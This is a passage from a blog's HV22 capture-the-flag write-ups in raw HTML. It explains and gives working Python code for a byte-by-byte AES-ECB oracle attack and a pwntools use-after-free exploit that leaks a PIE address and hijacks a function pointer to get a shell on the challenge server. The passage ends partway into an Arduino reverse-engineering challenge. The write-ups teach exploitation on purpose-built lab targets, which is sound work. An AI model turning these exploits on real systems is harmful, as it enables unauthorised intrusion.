src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-155-1024x428.png\" alt=\"\" class=\"wp-image-2232\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-155-1024x428.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-155-300x125.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-155-768x321.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-155-500x209.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-155.png 1199w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I quickly found similar CTF challenges to this one. For example, one from PicoCTF described in this blog post: <a rel=\"noreferrer noopener\" href=\"https:\/\/dr3dd.gitlab.io\/cryptography\/2018\/10\/11\/Simple-Attack-On-AES-ECB-Mode\/\" target=\"_blank\">https:\/\/dr3dd.gitlab.io\/cryptography\/2018\/10\/11\/Simple-Attack-On-AES-ECB-Mode\/<\/a> None of the challenges I&#8217;ve found had the padding implemented and seemingly fixed, like our challenge.<\/p>\n\n\n\n<p>After playing locally with the source code and adding debug messages, I discovered that the padding works, except when we send Unicode characters. With Unicode characters, we manage to fiddle with the blocks, and we can put characters of the flag into blocks we control. Finding the correct padding to leak single characters of the flag was painful. Even harder was to adapt the padding dynamically in the loop. Finally, I&#8217;ve found a padding that works:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">PADDING_START = \"0000000000000000000000000000000\"\nPADDING_MIDDLE = \"__\"\nPADDING_END = \"\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\"\nflag = \"\"\n\npayload = PADDING_START + flag + PADDING_MIDDLE + PADDING_END\n\n\/\/For each character we discover and add to the flag, we remove one padding\n\/\/character at the start and end and add two more \"__\" to the middle.<\/pre>\n\n\n\n<p>My solution looks like this:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import sys\nimport string\nfrom pwn import remote\n\nSERVER_IP = \"152.96.7.17\"\nSERVER_PORT = 1337\n\nPADDING_START = \"0000000000000000000000000000000\"\nPADDING_MIDDLE = \"__\"\nPADDING_END = \"\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\u00ae\"\n\ndef send_payload(payload):\n    try:\n        p = remote(SERVER_IP, SERVER_PORT)\n        p.recvuntil(bytes('Enter access code:', 'utf-8'))\n\n        #Send payload\n        p.sendline(bytes(payload, 'utf-8'))\n\n        #Get result\n        p.recvline().decode().strip()\n        res = p.recvline().decode().strip()\n        p.close()\n\n        #Split result into substrings of 32 characters and return as list\n        return [res[i:i+32] for i in range(0, len(res), 32)]\n    except Exception as e:\n        print(f'An error occurred: {e}')\n\ndef main():\n    ascii_printable = string.printable\n    padding_s = PADDING_START\n    padding_m = PADDING_MIDDLE\n    padding_e = PADDING_END\n    flag = \"\"\n\n    while True:\n        #End if flag ends with \"}\"\n        if flag[-1:] == \"}\":\n            print(\"[+] Found the flag!\\n--> \" + flag)\n            sys.exit()\n\n        #Bruteforce Flag\n        for c in ascii_printable:\n            payload = padding_s + flag + c + padding_m + padding_e\n            print(\"[+] Payload: \" + str(payload))\n\n            rlist = send_payload(payload)\n\n            #Check if matchin character found\n            if rlist[1] == rlist[6] or (len(flag)>=16 and rlist[1] == rlist[7]):\n                print(\"[+] Character found! \" + c)\n                padding_s = padding_s[:-1]\n                padding_e = padding_e[:-1]\n                padding_m += \"__\"\n                flag += c\n                break\n\n            for r in rlist:\n                print(r)            \n\nif __name__ == '__main__':\n    main()<\/pre>\n\n\n\n<p>See the Python script in action:<\/p>\n\n\n\n<figure class=\"wp-block-video\"><video height=\"519\" style=\"aspect-ratio: 1771 \/ 519;\" width=\"1771\" autoplay controls loop src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/solution.webm\" playsinline><\/video><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{len()!=len()}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.21] Santa&#8217;s Workshop<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"832\" height=\"129\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-100.png\" alt=\"\" class=\"wp-image-2131\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-100.png 832w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-100-300x47.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-100-768x119.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-100-500x78.png 500w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa decided to invite you to his workshop. Can you find a way to pwn it and find the flag?<\/p>\n\n\n\n<p>Resources: <a rel=\"noreferrer noopener\" href=\"https:\/\/sigterm.ch\/stuff\/hv22\/santasworkshop.elf\" target=\"_blank\">santasworkshop.elf<\/a><\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>0xi<\/strong>. Cold as ice.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>I had so much trouble solving this challenge. And because I could not solve the challenge within 24 hours, I lost points on this one. It is frustrating that I submitted the flag only 16 minutes late. \ud83e\udd26\ud83d\ude13 The following resource did help me a lot in this challenge: <a rel=\"noreferrer noopener\" href=\"https:\/\/heap-exploitation.dhavalkapil.com\/heap_memory\" target=\"_blank\">https:\/\/heap-exploitation.dhavalkapil.com\/heap_memory<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-110.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"208\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-110-1024x208.png\" alt=\"\" class=\"wp-image-2143\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-110-1024x208.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-110-300x61.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-110-768x156.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-110-500x102.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-110.png 1312w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>I started by analyzing the binary in Ghidra and trying to understand what was happening. We have a init() method, which uses malloc() to allocate memory on the heap and initializes the workshop variable.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-101.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"423\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-101-1024x423.png\" alt=\"\" class=\"wp-image-2134\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-101-1024x423.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-101-300x124.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-101-768x317.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-101-500x206.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-101.png 1102w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>The main() method holds the menu items, where we can choose the different actions.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-102.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"822\" height=\"670\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-102.png\" alt=\"\" class=\"wp-image-2135\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-102.png 822w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-102-300x245.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-102-768x626.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-102-368x300.png 368w\" sizes=\"auto, (max-width: 822px) 100vw, 822px\" \/><\/a><\/figure>\n\n\n\n<p>Through the menu() method, we can choose the different menu items. The call to menu item 2 (Check the workshop for items&#8221;) is interesting because it calls the address workshop + 0x28.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-104.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1018\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-104-1024x1018.png\" alt=\"\" class=\"wp-image-2137\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-104-1024x1018.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-104-300x298.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-104-150x150.png 150w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-104-768x764.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-104-302x300.png 302w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-104.png 1070w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-105.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"937\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-105-1024x937.png\" alt=\"\" class=\"wp-image-2138\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-105-1024x937.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-105-300x275.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-105-768x703.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-105-328x300.png 328w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-105.png 1177w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>The naughty() function shows you entries of a list. Only three items are available, and there is a check that the user can not enter numbers greater than three. But it is possible to enter values smaller than 0 and read data from memory. Therefore we have a function that leaks memory.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-106.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"937\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-106-1024x937.png\" alt=\"\" class=\"wp-image-2139\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-106-1024x937.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-106-300x275.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-106-768x703.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-106-328x300.png 328w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-106.png 1177w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>There is a steal() function that frees the workshop allocation! <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-107.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"869\" height=\"332\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-107.png\" alt=\"\" class=\"wp-image-2140\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-107.png 869w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-107-300x115.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-107-768x293.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-107-500x191.png 500w\" sizes=\"auto, (max-width: 869px) 100vw, 869px\" \/><\/a><\/figure>\n\n\n\n<p>And there is a function called tell_deed(). The user first enters a size for the deed&#8217;s length, which can only be between 0 and 50. The entered size is allocated with malloc() on the heap. Next, the user can enter a string that will be written to the newly allocated heap space. There are boundary checks, so we cannot overflow any buffer.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-108.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"921\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-108-1024x921.png\" alt=\"\" class=\"wp-image-2141\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-108-1024x921.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-108-300x270.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-108-768x691.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-108-333x300.png 333w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-108.png 1115w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>And finally we have a function called present() that returns a shell!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-109.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"360\" height=\"232\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-109.png\" alt=\"\" class=\"wp-image-2142\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-109.png 360w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-109-300x193.png 300w\" sizes=\"auto, (max-width: 360px) 100vw, 360px\" \/><\/a><\/figure>\n\n\n\n<p>We have a &#8220;use after free&#8221; vulnerability in this application. To exploit the application, we need to conduct the following steps:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>On modern operating systems, ASLR is usually enabled, which randomizes the memory location of an application. Therefore we need to find an address in the PIE through the memory leak in the &#8220;naughty list&#8221; part of the application.&nbsp;<\/li>\n\n\n\n<li>As a second step, we free the heap memory allocation of the workshop variable with the &#8220;Steal present&#8221; function.&nbsp;<\/li>\n\n\n\n<li>With the leaked address, we can calculate the offset to the present() function returning s a shell.&nbsp;<\/li>\n\n\n\n<li>We allocate 48 bytes (0x30) of memory through the tell_deeds function. 48 bytes because we freed this exact amount in the steal() function!&nbsp;<\/li>\n\n\n\n<li>We use a padding of 40 bytes (0x28) and append the calculated address to the present(). This is our payload which we store in the freed memory with the tell_deed() function.&nbsp;<\/li>\n\n\n\n<li>We call menu item 2, which should show the workshop items. But we get a shell instead because we freed this memory and have overwritten it with the address to the present() function.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>The most challenging part for me was calculating the address offsets and getting the correct address for present(). I spent so much time there that this was the reason I did not finish in time. Finally, this is how I managed to do it:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>With -252 we can leak &#8220;0x930c402b3c56&#8221; which is, because of the little-endian architecture, &#8220;0x55ebbc800c93&#8221;<\/li>\n\n\n\n<li>When setting the right breakpoint, we can check the stack and see that this address is for &lt;menu+91&gt;<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-112.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"462\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-112-1024x462.png\" alt=\"\" class=\"wp-image-2145\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-112-1024x462.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-112-300x135.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-112-768x346.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-112-1536x693.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-112-500x225.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-112.png 1750w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>If we subtract 91 (attention decimal!) from our leak, we are at the base address of the menu function.&nbsp;<\/li>\n\n\n\n<li>From the base menu address, we subtract the base address of the present function. We can determine this with &#8220;dissass present&#8221; in GDB.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-114.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"285\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-114-1024x285.png\" alt=\"\" class=\"wp-image-2147\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-114-1024x285.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-114-300x84.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-114-768x214.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-114-1536x428.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-114-500x139.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-114.png 1541w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-115.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"838\" height=\"92\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-115.png\" alt=\"\" class=\"wp-image-2148\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-115.png 838w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-115-300x33.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-115-768x84.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-115-500x55.png 500w\" sizes=\"auto, (max-width: 838px) 100vw, 838px\" \/><\/a><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Now we have the offset of the running application because of ASLR! Which is 0x2ae; this will always remain the same, as the in-memory distance stays the same.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>With this last information, we have everything to create our exploit code.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import pwn\nimport struct\n\nconn = pwn.remote('152.96.7.20', 1337)\n\n# Start the application flow\nconn.sendline(b'1')\nconn.recvuntil(b'Tell me an index and I will show you the entry\\n')\n\n# Leak an internal PIE address\nconn.sendline(b'-252')\nmemleak_response = conn.recvline()\nleaked_address = int.from_bytes(memleak_response[:-1], byteorder='little')\n\n# Calculate the address of the 'present' function\npresent_address = leaked_address - 91 - 0x2AE\naddress_bytes = present_address.to_bytes(6, 'little')\nprint('[+] Address of present(): ' + '0x' + str(address_bytes.hex()))\n\n# Create the payload\npadding = b'A' * 0x28\npayload = padding + address_bytes + b'\\x00\\x00'\nprint('[+] Payload:\\n' + '\\\\x' + '\\\\x'.join(format(b, 'x') for b in payload))\n\n# Free some heap space\nconn.sendline(b'3')\nconn.recvuntil(b'closing down the workshop now')\n\n# Trigger the use-after-free vulnerability\nconn.sendline(b'4')\nconn.recvuntil(b'How long is your deed?')\nconn.sendline(b'48')\nconn.recvuntil(b'Okay, tell me the deed')\nconn.sendline(payload)\nconn.recv(4096)\n\n# Trigger shell access\nconn.sendline(b'2')\n\n# Enter interactive mode, otherwise there is no shell! :(\nconn.interactive()<\/pre>\n\n\n\n<p> <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-119.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"197\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-119-1024x197.png\" alt=\"\" class=\"wp-image-2155\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-119-1024x197.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-119-300x58.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-119-768x148.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-119-1536x296.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-119-500x96.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-119.png 1831w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-117.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"973\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-117-1024x973.png\" alt=\"\" class=\"wp-image-2151\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-117-1024x973.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-117-300x285.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-117-768x730.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-117-316x300.png 316w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-117.png 1111w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We copy the QR Code to a notepad, select all &#8220;#&#8221; characters and can scan the code. This reveals our flag:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-118.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"973\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-118-1024x973.png\" alt=\"\" class=\"wp-image-2153\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-118-1024x973.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-118-300x285.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-118-768x730.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-118-316x300.png 316w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-118.png 1111w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{PWN_4_TH3_W1N}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.22] Santa&#8217;s UNO flag decrypt0r<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"842\" height=\"123\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-122.png\" alt=\"\" class=\"wp-image-2182\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-122.png 842w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-122-300x44.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-122-768x112.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-122-500x73.png 500w\" sizes=\"auto, (max-width: 842px) 100vw, 842px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>The elves made Santa a fancy present for this Christmas season. He received a fancy new Arduino where his elves encoded a little secret for him. However, Santa is super stressed out at the moment, as the children&#8217;s presents have to be sent out soon. Hence, he forgot the login, the elves told him earlier. Can you help Santa recover the login and retrieve the secret the elves sent him?<\/p>\n\n\n\n<p>Resource: <a rel=\"noreferrer noopener\" href=\"https:\/\/sigterm.ch\/stuff\/hv22\/unoflagdecryptor.elf\" target=\"_blank\">unoflagdecryptor.elf<\/a><\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>explo1t<\/strong>. Can you write an exploit for his challenge though?<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>The author provided an ELF binary file targeting an Arduino Uno device for the challenge. In reverse engineering challenges, it is always helpful to run the provided binary and, if possible, debug it. I found this blog post explaining how to run and debug AVR binaries with QEMU and debug it with GDB: <a rel=\"noreferrer noopener\" href=\"https:\/\/yeah.nah.nz\/embedded\/qemu-avr\/\" target=\"_blank\">https:\/\/yeah.nah.nz\/embedded\/qemu-avr\/<\/a><\/p>\n\n\n\n<p>I managed to run the application only once &#8211; then, I had to kill it. But I could debug it with GDB, so good enough &amp; I was happy.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-123.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"128\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-123-1024x128.png\" alt=\"\" class=\"wp-image-2184\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-123-1024x128.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-123-300x38.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-123-768x96.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-123-1536x193.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-123-500x63.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-123.png 1723w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-124.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"98\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-124-1024x98.png\" alt=\"\" class=\"wp-image-2185\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-124-1024x98.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-124-300x29.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-124-768x74.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-124-1536x148.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-124-2048x197.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-124-500x48.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>When we look at the strings in the binary, we can see the text &#8220;this_is_an_xor_key&#8221;. Of course, this was not the XOR key, but I took it as a hint.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a 